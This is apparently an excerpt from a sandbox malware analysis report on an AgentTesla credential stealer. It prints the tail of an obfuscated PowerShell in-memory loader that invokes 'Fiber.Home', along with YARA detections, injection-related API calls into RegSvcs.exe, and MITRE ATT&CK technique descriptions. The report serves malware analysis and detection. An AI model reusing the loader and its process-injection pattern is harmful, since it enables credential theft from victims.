AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhgAADMAgAAAAAAAAAAAADMAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAELAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAACAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBlAG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAACoAAQABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAAAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAANAAKAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABGAGkAYgBlAHIALgBkAGwAbAAAACYAAQABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAAAAAAAqAAEAAQBMAGUAZwBhAGwAVAByAGEAZABlAG0AYQByAGsAcwAAAAAAAAAAADwACgABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABGAGkAYgBlAHIALgBkAGwAbAAAACIAAQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAADAAAALQ0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==');[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] (' ??v?}???@+@ ?@@ ??v?}??.so!}( }4}? ?4??#:?(+ ((+ (v.4??#:?sr8??(su4??#:?4}? ?lo_8??(garo ??v?}??s4??#:?!}( }il(+ (up4??#:?4}? ?m. ??v?}??n8??(r8??(girf8??(rkroy4??#:?4??#:??? }??+?sp ??v?}?? ??v?}???(??@?'))
Imagebase:	0x7ff7fbaf0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_Reversed_Base64_Encoded_EXE, Description: Detects an base64 encoded executable with reversed characters, Source: 00000001.00000002.317073094.0000028B41F4C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: SUSP_Reversed_Base64_Encoded_EXE, Description: Detects an base64 encoded executable with reversed characters, Source: 00000001.00000002.311807350.0000028B3235B000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: SUSP_Reversed_Base64_Encoded_EXE, Description: Detects an base64 encoded executable with reversed characters, Source: 00000001.00000002.311807350.0000028B3235F000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: SUSP_Reversed_Base64_Encoded_EXE, Description: Detects an base64 encoded executable with reversed characters, Source: 00000001.00000002.317073094.0000028B41FAD000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth (Nextron Systems)
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	11:39:10
Start date:	20/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	11:39:14
Start date:	20/03/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x7d0000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Execution Graph

Execution Coverage:	13.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF9A5A720C9 Relevance: 1.7, Strings: 1, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6A, xrefs: 00007FF9A5A7233B

Memory Dump Source

Source File: 00000001.00000002.320735225.00007FF9A5A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5a70000_powershell.jbxd

Similarity

API ID:
String ID: 6A
API String ID: 0-1903481808
Opcode ID: 485b22fe83af62a5511599c92429a3506c97000d64c1f32b3882a1ddb1ca15af
Instruction ID: 01715c152abb466193d8e12bc9ac84d8568298922c552d8c4529e2e329011871
Opcode Fuzzy Hash: 485b22fe83af62a5511599c92429a3506c97000d64c1f32b3882a1ddb1ca15af
Instruction Fuzzy Hash: 75D13B32B0CA494FE798DB2898412F977E1EF47710F0542BBE44ED7692EE64794287C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A5A72B74 Relevance: 1.8, APIs: 1, Instructions: 339
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 00007FF9A5A72DFD

Memory Dump Source

Source File: 00000001.00000002.320735225.00007FF9A5A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5a70000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 46ca4856df1c0f561e58178ba35628194878846a7313209239a73b480de6be15
Instruction ID: 1d07b8bafe208d3309ca2e092d7e89b14c1865a932db1b920ecd30d4edaaef4a
Opcode Fuzzy Hash: 46ca4856df1c0f561e58178ba35628194878846a7313209239a73b480de6be15
Instruction Fuzzy Hash: 86C1B17190DB888FDB56DF2888556E8BBF0FF5A310F0442DBD049D7292DB74A985CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A5A72EA6 Relevance: 1.7, APIs: 1, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.320735225.00007FF9A5A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5a70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bdbd36372c556be5bdbec19e837655350e406a3a23b674ca4fefdcb4fb606f2
Instruction ID: b9beebd54bc53e7f34b64685a0afbbd129566052c644e4945e51f899bcae5566
Opcode Fuzzy Hash: 9bdbd36372c556be5bdbec19e837655350e406a3a23b674ca4fefdcb4fb606f2
Instruction Fuzzy Hash: 65412531A0CA0C8FEB54DF5898497F97BE0FF96721F04416BE04DC7162EB74A8568B91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A5A73224 Relevance: 1.7, APIs: 1, Instructions: 160
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?), ref: 00007FF9A5A73300

Memory Dump Source

Source File: 00000001.00000002.320735225.00007FF9A5A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5a70000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4a07818e7f8ee39cde7809597378388c6215aaf058b19b74ad07fa08d6f6c1e3
Instruction ID: 3ebc33401ddab75dcbc5ecc3d5d1d6359f588bc4698a0a4c7f46f8c3d1b58039
Opcode Fuzzy Hash: 4a07818e7f8ee39cde7809597378388c6215aaf058b19b74ad07fa08d6f6c1e3
Instruction Fuzzy Hash: FC415B31A0CB488FE718DB18E8067F9BBE4EF56720F04426FD0C9D3152DA6574068B95

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A5A72F15 Relevance: 1.6, APIs: 1, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32 ref: 00007FF9A5A72FE4

Memory Dump Source

Source File: 00000001.00000002.320735225.00007FF9A5A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5a70000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fee273182d0ebac09121b7db78981311560e6747927571d648b67d262d36dd83
Instruction ID: 801f0d3391da5a7ef07a9b5a894ad5258c4bfb64a6883e887637c11ed318d28d
Opcode Fuzzy Hash: fee273182d0ebac09121b7db78981311560e6747927571d648b67d262d36dd83
Instruction Fuzzy Hash: 3441263190C7888FDB56DF6898457E97FE0EF57320F08429BD088C7167DB64A415CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A5A73345 Relevance: 1.6, APIs: 1, Instructions: 101
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FF9A5A733DC

Memory Dump Source

Source File: 00000001.00000002.320735225.00007FF9A5A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5a70000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 308952a13c33eb7526ffd3f2dff325bbfae75550a74fc8bac1bd625052c550fc
Instruction ID: 030f60f72dd536a300fc3ff15d437d4649c4f914c7565d0c44ecbe3fa18a6ef9
Opcode Fuzzy Hash: 308952a13c33eb7526ffd3f2dff325bbfae75550a74fc8bac1bd625052c550fc
Instruction Fuzzy Hash: E521E331A0CA4C8FDB59DF689845BA97BE0FF56321F04426FC049D3692DB70A415CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A5B40C2E Relevance: .7, Instructions: 685
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.320939280.00007FF9A5B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d57cda65a0e0d86b7012c2be30550599eb2931c82316a7265e58a1b436af66d
Instruction ID: 59de08293c8c762bb2a391d539e976f1921f29882e98300ea395acc258d024a9
Opcode Fuzzy Hash: 1d57cda65a0e0d86b7012c2be30550599eb2931c82316a7265e58a1b436af66d
Instruction Fuzzy Hash: D4123522A0EB894FE7A6D72C58556B57FF1EF87611B0801FBD08DCB193D959BC068382

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A5B40DE8 Relevance: .2, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.320939280.00007FF9A5B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fcab1d9441759e938a2673e806926ec4f14eab9e36950191c213b3e7949f5fe
Instruction ID: a3623e708b8e2225aadae6192cfb155cfe78142543cc843a5ab3e5fe9958af46
Opcode Fuzzy Hash: 1fcab1d9441759e938a2673e806926ec4f14eab9e36950191c213b3e7949f5fe
Instruction Fuzzy Hash: 4D512632E1EF8A4FEBB5CB1858516757BE1EF87611B4842BAC48CCB193D954BC068781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9A5B4047E Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.320939280.00007FF9A5B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9a5b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d97d5fd3d7973f6ace5e308fe59e33a65bc9d327e5669201812d6e481d512792
Instruction ID: 029877595d7391904e87c28f404d0afba21e6c632ab6ad98464bc8091eec016a
Opcode Fuzzy Hash: d97d5fd3d7973f6ace5e308fe59e33a65bc9d327e5669201812d6e481d512792
Instruction Fuzzy Hash: 1C410822B1EE5E4FEBB4D66C24517F977E1EF96B22B08017AD58DCB182DD48BC014381

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: RegSvcs.exePID: 1236, Parent PID: 6008COMMON

Execution Graph

Execution Coverage:	18.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.6%
Total number of Nodes:	117
Total number of Limit Nodes:	13

Executed Functions

Function 00F4F198 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 00F4F82B

Memory Dump Source

Source File: 00000003.00000002.822046645.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f40000_RegSvcs.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1d61fa76abcb95750cd2e1e591c19db63878d7bdc9c91cce3b210b94c6ff716c
Instruction ID: ad77bb0fcfa68d0a7a2fa50c31801ead73b298fba011a5d01f4cf8c64e763765
Opcode Fuzzy Hash: 1d61fa76abcb95750cd2e1e591c19db63878d7bdc9c91cce3b210b94c6ff716c
Instruction Fuzzy Hash: 5E510471D002188FDB14CFA9C885B9DBBF1FF48314F158129E819AB395DB78A844DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00F4F56C Relevance: 1.6, APIs: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 00F4F82B

Memory Dump Source

Source File: 00000003.00000002.822046645.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f40000_RegSvcs.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 94903a88d252094d0646b626f2cd6738bad2b0dc4a425cd3dd73013dbff471ac
Instruction ID: 2e98a5974a1cdbac563876a8c6356589754f66999b836f5b8ac1be6c7f0eb200
Opcode Fuzzy Hash: 94903a88d252094d0646b626f2cd6738bad2b0dc4a425cd3dd73013dbff471ac
Instruction Fuzzy Hash: 7D510471D002188FDB14CFA9C885B9DBBF1FF48314F158129E819AB395D778A844DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00F4F6E4 Relevance: 1.6, APIs: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 00F4F82B

Memory Dump Source

Source File: 00000003.00000002.822046645.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f40000_RegSvcs.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 831b23c8dd589b665f118443bb33ffdae338f04d2e89932f1c4a87450a0cf67b
Instruction ID: 92317f49c68fcd501c975f9ce3ad6b74fc125afb689a1d982f0df1e5943378fe
Opcode Fuzzy Hash: 831b23c8dd589b665f118443bb33ffdae338f04d2e89932f1c4a87450a0cf67b
Instruction Fuzzy Hash: CD5113B5E002188FDB18CFA9C885B9DBBF1FF48314F158129E819AB395D778A844CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00F45A84 Relevance: 1.6, APIs: 1, Instructions: 97
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 00F476F7

Memory Dump Source

Source File: 00000003.00000002.822046645.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f40000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c65bfe519922bca950fc0cc295d23f487bf4b3d48ae54a4a14c8870dffdaeb63
Instruction ID: 2b8b35be27b1d7e17aa68f6cdb66701110b1d320f2b74bf30f26183f42895f2d
Opcode Fuzzy Hash: c65bfe519922bca950fc0cc295d23f487bf4b3d48ae54a4a14c8870dffdaeb63
Instruction Fuzzy Hash: F14153B1E047589FDB10DFA9C98479EBFF2EB48714F108429E815AB384D7B4A881DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F47605 Relevance: 1.6, APIs: 1, Instructions: 94
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 00F476F7

Memory Dump Source

Source File: 00000003.00000002.822046645.0000000000F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f40000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3072ff065a954080736ccfd02beb3f1f3f51e1c4e4e925d79bfde22d17b01ace
Instruction ID: 3fba4eb052f7a029fdb60e268b440dc9ac29a6923d9dc656925037510db74f52
Opcode Fuzzy Hash: 3072ff065a954080736ccfd02beb3f1f3f51e1c4e4e925d79bfde22d17b01ace
Instruction Fuzzy Hash: 714154B1E007588FDB10DFA9C98579EBBF2EB48314F14842AE815EB384D7B49885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05CF4B30 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 05CF4BB7

Memory Dump Source

Source File: 00000003.00000002.831239497.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cf0000_RegSvcs.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 44e55e78f10bcce0386bcd994d26a5ab7f69f51aecd68ff20cc174a13a2fbf23
Instruction ID: 35ef5e0c34d726df38fbbd41a194def1b7cbf123aea1a84811fb40bfef5913f2
Opcode Fuzzy Hash: 44e55e78f10bcce0386bcd994d26a5ab7f69f51aecd68ff20cc174a13a2fbf23
Instruction Fuzzy Hash: 9621E4B59002099FDB10CF9AD984ADEBBF8FB48320F14841AE914A7310C374A944DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05CFBE28 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,05CFD2F9,00000800,00000000,00000000), ref: 05CFD4EA

Memory Dump Source

Source File: 00000003.00000002.831239497.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cf0000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: df95693dfa2292cdd23a11a6bcbc32a90c27c784fd3eaa1a54f67e9c960fa842
Instruction ID: a6c8658aa2839237bf895b095aa8f7c131a6194e9d6e45d09360ebdda284be5b
Opcode Fuzzy Hash: df95693dfa2292cdd23a11a6bcbc32a90c27c784fd3eaa1a54f67e9c960fa842
Instruction Fuzzy Hash: A711E4B69002499FDB10CF9AD844ADEFBF4EB88714F14842AE916AB600C374A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05CFD218 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 05CFD27E

Memory Dump Source

Source File: 00000003.00000002.831239497.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cf0000_RegSvcs.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b76bf8b2b36a5e0d0e50605359d2822813929c0d0692e332b995e6903f8ed7bf
Instruction ID: 2b4d4b063103a5969849caab59eef2de2295cc1f2a3f36215f54487ac2434d4c
Opcode Fuzzy Hash: b76bf8b2b36a5e0d0e50605359d2822813929c0d0692e332b995e6903f8ed7bf
Instruction Fuzzy Hash: F011E0B6C003498FCB10CF9AD544ADEFBF4EF88724F14842AD91AA7600C378A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

